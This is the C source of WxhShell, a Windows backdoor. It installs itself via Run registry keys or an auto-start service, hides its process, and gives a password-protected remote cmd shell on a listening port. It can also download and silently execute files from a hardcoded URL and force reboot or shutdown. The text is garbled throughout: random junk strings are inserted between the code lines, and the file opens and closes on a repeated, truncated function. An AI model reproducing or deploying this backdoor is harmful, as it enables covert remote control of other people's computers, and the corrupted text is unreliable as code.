dfhno; y~==waZw static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2,8/Cb static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *l> [`U+ ;T5,T HANDLE hProcess; 6Q.{llO PROCESS_BASIC_INFORMATION pbi; wO2V%v^bp ,c,Xd HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RV0>-@/x if(NULL == hInst ) return 0; z)58\rtz H-/; l54E g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6m, KL5>W g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IdV,%d{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,YP1$gj "<PoJPh if (!NtQueryInformationProcess) return 0; [):{5hMA 97qtJ(ESI hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5"-una>D if(!hProcess) return 0; }
*
?n?' h*;g0QBkl if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L;1$xI8tx u%6Irdx CloseHandle(hProcess); Z/89&Uy`h lj
"Z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >\|kJ?h if(hProcess==NULL) return 0; Cec9#C 5+e> +$2 HMODULE hMod; TIcd
_>TW char procName[255]; ZQ,fm`y\ unsigned long cbNeeded; #dva0%-1 /<3;0~#){ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |eH wp g9yaNelDh) CloseHandle(hProcess); 0[n c7)sW JCcN>DtP if(strstr(procName,"services")) return 1; // 以服务启动 Hv8SYQ| ,s1&O` return 0; // 注册表启动 <^,o$b } M!eoe5 N3uMkH-< // 主模块 ioB|*D<U2 int StartWxhshell(LPSTR lpCmdLine) q[{: { fH{9]TU_: SOCKET wsl;
F^ I\X BOOL val=TRUE; OOEV-= int port=0; v-P8WFjca struct sockaddr_in door; 89LpklD ]]el| if(wscfg.ws_autoins) Install(); Uj4Lu u~$WH, P3 port=atoi(lpCmdLine); pyUNRqp iBG`43; if(port<=0) port=wscfg.ws_port; XXa(305 a{<p'_ WSADATA data; >Y7r\ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C>*5=p|T 6-mmi7IfO if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; DRH'A!r! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )>(L{y|uYX door.sin_family = AF_INET; gKmX^A5< door.sin_addr.s_addr = inet_addr("127.0.0.1"); GE%2/z p door.sin_port = htons(port); u~" siH ./5jx2V if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :z
B}z^8- closesocket(wsl); Sa%zre@ return 1; Gs+\D0o! } ANckv|&'v 4rI:1yGt@ if(listen(wsl,2) == INVALID_SOCKET) { `@h:_d closesocket(wsl); m_c O<LB return 1; U{7 3Xax } w+q?T Wxhshell(wsl); 7SBM^r} WSACleanup(); ?QGmoQ) %0vTA_W return 0; ;(K ! mm5I#s } u K'<xM"%T A:kkCG!~Nf // 以NT服务方式启动 ?3`q+[: VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3>i>@n_ { ;4!=DFbU DWORD status = 0;
}c}
( 5 DWORD specificError = 0xfffffff; Yx6hA#7I
RXBb:f serviceStatus.dwServiceType = SERVICE_WIN32; pJd 0k"{ serviceStatus.dwCurrentState = SERVICE_START_PENDING;
\;-qdV_JB serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;SfNKu serviceStatus.dwWin32ExitCode = 0; U);OR serviceStatus.dwServiceSpecificExitCode = 0; 4py(R-8\ serviceStatus.dwCheckPoint = 0; 1 ojhh7< serviceStatus.dwWaitHint = 0; 9u?(^(. L59bu/LfL hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,!`SY) if (hServiceStatusHandle==0) return; L{=l#vu N;<//, status = GetLastError(); <D;MT96SG if (status!=NO_ERROR) "LOnDa7E^ { [#0Yt/G serviceStatus.dwCurrentState = SERVICE_STOPPED; C*7!dW6 serviceStatus.dwCheckPoint = 0; .AXdo'&2i serviceStatus.dwWaitHint = 0; [(1O" serviceStatus.dwWin32ExitCode = status; UV4u.7y serviceStatus.dwServiceSpecificExitCode = specificError; kGm:VYf% SetServiceStatus(hServiceStatusHandle, &serviceStatus); R8tF/dx>7 return; .Y! :x=e } oAY_sg+ _().t5< serviceStatus.dwCurrentState = SERVICE_RUNNING; r:-WzH(Ms serviceStatus.dwCheckPoint = 0; NH'iR!iGo serviceStatus.dwWaitHint = 0; mG_BM/$ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <{giHT } Rvvh{U;t s|Zx(.EP // 处理NT服务事件,比如:启动、停止 8zZSp VOID WINAPI NTServiceHandler(DWORD fdwControl) ^;zWWg/d { en>9E.?N switch(fdwControl) s;J\Kc?"| { ]c}=5m/ case SERVICE_CONTROL_STOP: ymtd>P" serviceStatus.dwWin32ExitCode = 0; :7\9xH serviceStatus.dwCurrentState = SERVICE_STOPPED; h4Ia>^@ serviceStatus.dwCheckPoint = 0; B20_ig: serviceStatus.dwWaitHint = 0; \OcMiuw { H>?F8R_iq SetServiceStatus(hServiceStatusHandle, &serviceStatus); _S"f_W } 71O3O7 return; E:FO_R(Xq case SERVICE_CONTROL_PAUSE: 8Y#bN*! serviceStatus.dwCurrentState = SERVICE_PAUSED; %w7m\nw@ break; ZW*n /#GUC case SERVICE_CONTROL_CONTINUE: =Ey`M#t; serviceStatus.dwCurrentState = SERVICE_RUNNING; n>P!u71 break; Noh?^@T`Ov case SERVICE_CONTROL_INTERROGATE: vBNZ<L\|a break; }~Q5Y3]#~ }; 5 [4Z=RP SetServiceStatus(hServiceStatusHandle, &serviceStatus); XrS\+y3 } L,~MicgV ^uW%v2 // 标准应用程序主函数 uUG*0Lj int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !9r:&n.\ { oEu>}JD h>wcT VF // 获取操作系统版本 m"Qq{p|' OsIsNt=GetOsVer(); ^mg*;8eGa GetModuleFileName(NULL,ExeFile,MAX_PATH); [T`}yb@ 3sFeP& // 从命令行安装 8Mu;U3cIW if(strpbrk(lpCmdLine,"iI")) Install(); U<47WfcW Pr+~Kif // 下载执行文件 C c*({ if(wscfg.ws_downexe) { HR60 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `5'2Hg+ WinExec(wscfg.ws_filenam,SW_HIDE); t\r:E2
O } \&a.}t .
uR M{Bs if(!OsIsNt) { m=TJDr- // 如果时win9x,隐藏进程并且设置为注册表启动 g_w&"=.jBq HideProc(); aI(>]sWJ StartWxhshell(lpCmdLine); ,+._;[k } 5j eO"jB else ]` ]g@v if(StartFromService()) 0@)%h&mD // 以服务方式启动 frN3S StartServiceCtrlDispatcher(DispatchTable); Km3&N else DA"}A`HfI // 普通方式启动 @T&t.|` StartWxhshell(lpCmdLine); -[R!O'N9 =MLf[ return 0; XoR>H4xh } +y&d;0! ?t rV72D `.=sTp2rbc rg5]&<Vq8 =========================================== j'GtgT j7
d:v7+_ J!h^egP '<@=vGsye dTGA5c 7zDiHac " = .oHnMX2M *Oo &}oAj #include <stdio.h> }nud #include <string.h> NQ9Ojj{# #include <windows.h> w#(RW7":F #include <winsock2.h> [f!O6moR6 #include <winsvc.h> c8A`<-\MfB #include <urlmon.h> [B^ G- 44sy`e #pragma comment (lib, "Ws2_32.lib") #
|^^K!% #pragma comment (lib, "urlmon.lib") Cd]/ GBP-V66 #define MAX_USER 100 // 最大客户端连接数 ._CP%
R #define BUF_SOCK 200 // sock buffer <7n]Ai@Y #define KEY_BUFF 255 // 输入 buffer EO)%UrWnC +.Bmkim #define REBOOT 0 // 重启 &uM^0eM #define SHUTDOWN 1 // 关机 GXX+}=b7qO SwH2$:f #define DEF_PORT 5000 // 监听端口 &ZJgQ-Pc(m ^#e~g/ #define REG_LEN 16 // 注册表键长度 Veji^-0E #define SVC_LEN 80 // NT服务名长度 rt4Z; O~@fXMthh // 从dll定义API 8Fq_i-u typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >UHa typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #S5`Pd!I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h`5)2n+ P typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o a<q / mlu 3K // wxhshell配置信息 ~
3T,&?r struct WSCFG { &L4
q10-N int ws_port; // 监听端口 J]pa4C` char ws_passstr[REG_LEN]; // 口令 eThy+ int ws_autoins; // 安装标记, 1=yes 0=no I@ \#up} char ws_regname[REG_LEN]; // 注册表键名 "5!BU& char ws_svcname[REG_LEN]; // 服务名 .g% Y@r)=5 char ws_svcdisp[SVC_LEN]; // 服务显示名 vtxvS3
char ws_svcdesc[SVC_LEN]; // 服务描述信息 |L:Cn J char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zAScRg$:? int ws_downexe; // 下载执行标记, 1=yes 0=no O}Le]2' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @Doyt{|T char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .T.5TMiOSq $.K?N@(W }; Cg!^S(U4 or_+2aG // default Wxhshell configuration c3xl9S,5 struct WSCFG wscfg={DEF_PORT, H+ZSPHs "xuhuanlingzhe", =_pwA:z"A 1, r;qzo. "Wxhshell", p!W[X%`) "Wxhshell", z?ucIsbR "WxhShell Service", y' x F0 "Wrsky Windows CmdShell Service", @q8an "Please Input Your Password: ", !3}deY8;# 1, >HTbegi "http://www.wrsky.com/wxhshell.exe", IcF@F>> "Wxhshell.exe" 85 ]SC$ }; :tGYs8UK 61K"(r~ // 消息定义模块 ..KwTf char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k#)Ad*t char *msg_ws_prompt="\n\r? for help\n\r#>"; t})$lM char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G?hK9@ |v char *msg_ws_ext="\n\rExit."; h##WA=1QZ char *msg_ws_end="\n\rQuit."; U/w. M_S char *msg_ws_boot="\n\rReboot..."; O\beKBT; char *msg_ws_poff="\n\rShutdown..."; 'ks{D(` char *msg_ws_down="\n\rSave to "; HKmcQM (36K3=Q a char *msg_ws_err="\n\rErr!"; ",B'k char *msg_ws_ok="\n\rOK!"; [CN$ScK, $3P`DJo char ExeFile[MAX_PATH]; eD;6okdP int nUser = 0; }e{qW HANDLE handles[MAX_USER]; K|^wc$ int OsIsNt; xtfRrX^ bEH
de*q( SERVICE_STATUS serviceStatus; 8^yJqAXK SERVICE_STATUS_HANDLE hServiceStatusHandle; .y4&rF$n ?nFO:N< // 函数声明 "mIgs9l$ int Install(void); BBL485` int Uninstall(void); pGWA\}' int DownloadFile(char *sURL, SOCKET wsh); N{joXHCu int Boot(int flag); .;I29yk\XS void HideProc(void); ;;&F1@3tBa int GetOsVer(void); y?z\L int Wxhshell(SOCKET wsl); \0*l,i1& void TalkWithClient(void *cs); XGs^rIf int CmdShell(SOCKET sock); &Cro2|KZhG int StartFromService(void); /iM$Tb5 int StartWxhshell(LPSTR lpCmdLine); e<=;i" |
1]OSWCEm*[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UuJjO^t VOID WINAPI NTServiceHandler( DWORD fdwControl ); *^XbDg9 (GU9p>2 // 数据结构和表定义 lAASV{s{ SERVICE_TABLE_ENTRY DispatchTable[] = %w"nDu2Gcv { Fi;VDK(V9 {wscfg.ws_svcname, NTServiceMain}, ^Udv]Wh {NULL, NULL} ?&c:q3_-Z }; 1;r69e #MgvG, // 自我安装 k DsIp= int Install(void) Tj`5L6N;8 { ;+_8&wbqW char svExeFile[MAX_PATH]; JdNF-64ky HKEY key; " 'tRfB strcpy(svExeFile,ExeFile); UH3t(o7O _a'A~JY // 如果是win9x系统,修改注册表设为自启动 hKe30#:v if(!OsIsNt) { H7&xLYQ2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Ob]]!y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); le
.'pP@ RegCloseKey(key); k`YYZt]@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]n
v( aM?d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g1[&c+=U`P RegCloseKey(key); 9K"JYJ
q2 return 0; >J>V%
7 } }KB[B } .b>TK } X"*^l_9-v else { 8<&EvOk 2[R$RpA_ // 如果是NT以上系统,安装为系统服务 3#GqmhqKDk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \U @3` if (schSCManager!=0) Z!{UWegun { ]H[8Z|i"" SC_HANDLE schService = CreateService /9 hR ( k
onoI&kV| schSCManager, Vz:_mKA wscfg.ws_svcname, tk?UX7F wscfg.ws_svcdisp, >)#c\{c
SERVICE_ALL_ACCESS, vq6%Ey3Gix SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ygViPz<J SERVICE_AUTO_START, y\PxR708 SERVICE_ERROR_NORMAL, ;A#~`P svExeFile, :)c80`-E NULL, ]7/gJ>g, NULL, P]6}\
]~ NULL, :c8^db`" NULL, m4/er539T NULL $kz!zjC' ); h4`9Cfrq , if (schService!=0) w]!0< { FC>d_=V CloseServiceHandle(schService); .iv3q?8.b CloseServiceHandle(schSCManager); nX5C<Ky strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y;Y1+jt strcat(svExeFile,wscfg.ws_svcname); 5K.+CO< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bhg}-dto RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wK*PD&nN RegCloseKey(key); ME+em1ZH return 0; "JhimgwvY } F!g;A"?V } w~@[r4W CloseServiceHandle(schSCManager); s>[{}7ca } p@I9<^" } h)dRR_ P_Uutn~ return 1; Mg? L-C } xFb3O|TC Rlw3!]5+2 // 自我卸载 Z^_>A)<s< int Uninstall(void) Ft-6m% { x)viY5vjH HKEY key; I:;+n^N? ]b1Li} if(!OsIsNt) { .Q\\dESn" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZBM!MSf: RegDeleteValue(key,wscfg.ws_regname); ->oz# RegCloseKey(key); m,6hee if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fluGf RegDeleteValue(key,wscfg.ws_regname); +/cgw, RegCloseKey(key); Gp|JU Fo return 0; q=0 pQ1> } ,"G\f1 } m|4LbWz } nQLs<]h1 else { HeS'~Z$ f=_g8+}h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fd8hGj1 if (schSCManager!=0) d*-Xuv { =AkX4k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3,$iGe if (schService!=0) nVOqn\m- { v33T @ if(DeleteService(schService)!=0) { Eo=HNe CloseServiceHandle(schService); o#{#r@,i CloseServiceHandle(schSCManager); kL;t8{n return 0; {ymb\$f } r{ @ `o@q CloseServiceHandle(schService); (%DRt4u<H } =K'L|QKF CloseServiceHandle(schSCManager); s[V`e2O } l,y^HTc}7/ } x0G>ktWq< JlIS0hnv return 1; vttrKVA } >\bPZf)tJ) /'&v4C^y> // 从指定url下载文件 4#2 ,Y! int DownloadFile(char *sURL, SOCKET wsh) t9D
S]Li { C*pLq5s HRESULT hr; uUS)#qM| char seps[]= "/"; ^
f{qJ[, char *token; Q8Te'1Ln! char *file; l1RlYl5 char myURL[MAX_PATH]; `|,tCM&- char myFILE[MAX_PATH]; FsY`nWwg [V5-%w^ strcpy(myURL,sURL); CWMlZVG token=strtok(myURL,seps); ~@fanR = while(token!=NULL) OqEHM%j { RKk" file=token; l $ Zs~@N token=strtok(NULL,seps); M?hFCt3Y } k2uBaj] t>oM%/H GetCurrentDirectory(MAX_PATH,myFILE); 0UjyMEiK strcat(myFILE, "\\"); Q)dT(Td9~ strcat(myFILE, file); %kW3hQ<$ send(wsh,myFILE,strlen(myFILE),0); qKs7WBRJy send(wsh,"...",3,0); V"g~q?@F hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R `Q?J[e if(hr==S_OK) u'Pn(A@1R return 0; jl@K!=q else /MxCvEE return 1; Te}IMi: hDbHSZ } k>-'AWH^v \S5V}!_ // 系统电源模块 buc*rtHfA int Boot(int flag) |wJ),h8/ {
i ~P91 HANDLE hToken; cJV!>0ua TOKEN_PRIVILEGES tkp; ULrbQ}"cva %w@ig~vD' if(OsIsNt) { ASM1Y]'Z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .lG+a!) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _!;\R7] tkp.PrivilegeCount = 1; %\ _h7: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gyg|Tno AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |nfH-JytV if(flag==REBOOT) { Nc:U4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )w@y(;WJ return 0; qIk
)'!Vk } ]o!&2:'N` else { 6d(b'S^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y?e3B x7*b return 0; bZnDd } $"(3M nR } EKJH_!% else { IjgBa-o/V if(flag==REBOOT) { MIJ%_=sm4: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8ZzU^x return 0; >:fJhF@ } ]q37 Hj else { *<;&>w8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =mAGD*NKu return 0; ]X4RnV55Q } ":z@c, } Xe> ~H4I9 a1_o.A return 1; k0=|10bi } N6f%>3%1|. R+x%r&L5F // win9x进程隐藏模块 '>4+WZ1w5 void HideProc(void) +-",2d+g { :az!H"4W/ xQZMCd HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <vO8_2,V- if ( hKernel != NULL ) <w%DyRFw3 { c|3h| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Dt
(:u,% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X%*brl$D FreeLibrary(hKernel); S/) } Ho:}Bn
g }.w#X return; >n#g9v K } FC~|& 18J.vcP // 获取操作系统版本 JJ*0M(GG int GetOsVer(void) XC57];- { U8Cw7u2 OSVERSIONINFO winfo; pC55Ec< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lxr@[VQ GetVersionEx(&winfo); 1\=pPys) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R20a(4m return 1; 56VE[G else lu<Np9/5< return 0; {8ld:ZP } 1Qrm"TFo +D6-m // 客户端句柄模块 (4E.Li<O int Wxhshell(SOCKET wsl) ~mHXz { 5mDVFb 3a SOCKET wsh; <7@mg/T struct sockaddr_in client; aEV|>K=6Y' DWORD myID; n">?LN-DC bEEJV F0 while(nUser<MAX_USER) g%Th_= qy { qT&S int nSize=sizeof(client); kJVM3F% wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zlC^ if(wsh==INVALID_SOCKET) return 1; la!1[VeL 0W!VV=j<} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VGkW3Nt0 if(handles[nUser]==0) Xd90n>4S closesocket(wsh); l;"ub^AH else pIM*c6 nUser++; Oct\He\. } 4Xa.r6T_N= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @#G6z`, '33Yl+h return 0; KE }o } ]QjXh> a @yE:HU // 关闭 socket )&g2D@+{ void CloseIt(SOCKET wsh) 9`hpa-m@ { *q\HFI closesocket(wsh); #khyy-B= nUser--; >Rx8 0 ExitThread(0); 6i*p
+S?U" } *m `KU+o-u Y9\]3Kno // 客户端请求句柄 ROlzs} void TalkWithClient(void *cs) 9;m#>a@Y { Cb!`0%G NzwGc+\7} SOCKET wsh=(SOCKET)cs; hO:)=}+H char pwd[SVC_LEN]; >@q2FSMf char cmd[KEY_BUFF]; VO\S>kw char chr[1]; #!K~_DL int i,j; jn5=N[hd uL qpbn while (nUser < MAX_USER) { oj,Vi-T Z -wG[>Y if(wscfg.ws_passstr) { \&l*e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xKkVSEup //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KU8Cl>5 //ZeroMemory(pwd,KEY_BUFF); ;
HR\R i=0; A[wxa while(i<SVC_LEN) { noB}p4 K!$\REs // 设置超时 y.TdWnXx fd_set FdRead; sf|_2sI struct timeval TimeOut; D8<0zxc=( FD_ZERO(&FdRead); ?45K%;.9Q FD_SET(wsh,&FdRead); T3B|r<>I TimeOut.tv_sec=8; J$e Z Lj TimeOut.tv_usec=0; ^$Me#ls! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $bM#\2' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ta+"lM7A}$ EeF n{_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }]Z,\lA pwd=chr[0]; 'J&@jp if(chr[0]==0xd || chr[0]==0xa) { cfO^CC pwd=0; iNaC ZC break; %WXVfkD } fmT3Afl5c i++; JOL Z2 } d}^:E *N&^bF"SF // 如果是非法用户,关闭 socket 7lBQd ( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F#3$p$;B$ } r4z}yt+ AS/\IHZ\ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?8aWUgl send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R'$ T6FB5 t'_,9 while(1) { y:(C=*^<t }lQn]q ZeroMemory(cmd,KEY_BUFF); n"`SL<K1 Y/Gswcz // 自动支持客户端 telnet标准 !x!L&p j=0; _dRn0<#1(k while(j<KEY_BUFF) { Lqf#,J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 83O^e&Bt cmd[j]=chr[0]; hPCSLJ if(chr[0]==0xa || chr[0]==0xd) { z|4@nqqX cmd[j]=0; >GF(.:7 break; tz \:r>3vI } z2EI"'4\9 j++; c]/O^/ } tMs|UC WZy6K(18"' // 下载文件 e]L3=R; if(strstr(cmd,"http://")) { u/c~PxC send(wsh,msg_ws_down,strlen(msg_ws_down),0); ";!1(xZr if(DownloadFile(cmd,wsh)) hG0lR.: send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4OESsN$O else 8^ ZM U{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3=eGS } &,gryBN else { ~d<`L[ U Y?]\4Om switch(cmd[0]) { D;;o j]]ziz,E // 帮助 "Qm~;x2kB case '?': { V
IRv send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5a/
A_..+I break; AFF>r#e } '\vmfp= // 安装 k-Hfip[ro case 'i': { t1_y1!uQ if(Install()) bD^ob.c.A send(wsh,msg_ws_err,strlen(msg_ws_err),0); K=^_Ndz else AK\g-]8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ZE$\5>- break; E9+O\"e9 } ~.y4
,- // 卸载 Ph!NYi, case 'r': { CIs1*:Q9 if(Uninstall()) t2%bHIG} send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nv$gKC6 ,G else 0:(dl@I)@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a(t<eN>b! break; sOtNd({ } 6W#F Ss~ // 显示 wxhshell 所在路径 tFP;CW!E case 'p': { |$*9j""u char svExeFile[MAX_PATH]; 6"c!tJc7j strcpy(svExeFile,"\n\r"); M97p.; ; strcat(svExeFile,ExeFile); wP *a>a send(wsh,svExeFile,strlen(svExeFile),0); FYE9&{]h break; {m*J95[
} Jj _+YfIM // 重启 p 7E{es|J case 'b': { n[p9$W` send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [Kj#KJxy if(Boot(REBOOT)) F v^80M=z send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sy7^;/(ZZ else { `0gK;D8t closesocket(wsh); WOTu"Yj ExitThread(0); ` vmk } O%h
97^%k break; w+TuS). } FXwK9
% // 关机 yA )+- case 'd': { {*P7) send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9(gOk if(Boot(SHUTDOWN)) MicVNs send(wsh,msg_ws_err,strlen(msg_ws_err),0); KKTfxNxJn else { WiCM,wDi closesocket(wsh); 4Fc1' ExitThread(0); tf}Q%)`f } :zy'hu; break; thboHPml{ } nf@u7*#6 // 获取shell M/`z;a=EP case 's': { gJfL$S'w CmdShell(wsh); 8Nq Iz closesocket(wsh); Vy*Z"k ExitThread(0); !suiqP1\* break; 5v-;* } OM C|.[ // 退出 Kpbber case 'x': {
l e/#J send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?d`+vHK]> CloseIt(wsh); Vt2=rD4oJk break; AS-t][m# } XA^:n+Yo // 离开 &WV 9%fI case 'q': { e:D9;`C send(wsh,msg_ws_end,strlen(msg_ws_end),0); I }I/dh closesocket(wsh); #AnSjl WSACleanup(); YU"\Wd[ exit(1); %l P break; @Sd:]h:f- } 4 sgwQ$m) } u:kY4T+Z } k EDZqUD L|'ME|
' // 提示信息 9&FV=}MO if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,TA[el%# } M|]1}8d? } I%WK*AORM l\y*wr` return; H ?:#Ui(p } 8WQ%rN={8 SJr: // shell模块句柄 90v18k int CmdShell(SOCKET sock) O
lIH0 { cf3c+.o STARTUPINFO si; ;|%JvptwW% ZeroMemory(&si,sizeof(si)); (:muxby% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tB?S0;yXjd si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :QSW^x PROCESS_INFORMATION ProcessInfo; uzA'D ~)P char cmdline[]="cmd"; @z RB4d$ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4}FfHgpQ return 0; 0PbIWy' } =5eDT~=2{U 2=
mD // 自身启动模式 vw6FvE`lC int StartFromService(void) muq|^Hfb { @S:/6__ typedef struct zQ_[wM- { $q+`GXc- DWORD ExitStatus; ^*W<$A_ DWORD PebBaseAddress; U.0/r!po DWORD AffinityMask; v%Q7 \X( DWORD BasePriority; }}Uv0g8D ULONG UniqueProcessId; ><7`$ 2Or ULONG InheritedFromUniqueProcessId; zSXC } PROCESS_BASIC_INFORMATION; ~jTnjx Qeog$g.HI PROCNTQSIP NtQueryInformationProcess; *G=AhH$t 3]'z8i({7Y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; : seL= static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <\mc|p" _Q}z 6+_\ HANDLE hProcess; |O2PcYNu PROCESS_BASIC_INFORMATION pbi; }d]8fHG M.Ik%nN#K0 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;^i,Q} b/ if(NULL == hInst ) return 0; RV(z>XM m~B=C>r}t g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DNe^_v)]| g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9F4|T7? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3NWAyCq- 21 j+c{O if (!NtQueryInformationProcess) return 0; ;~;St>?\R\ g7F
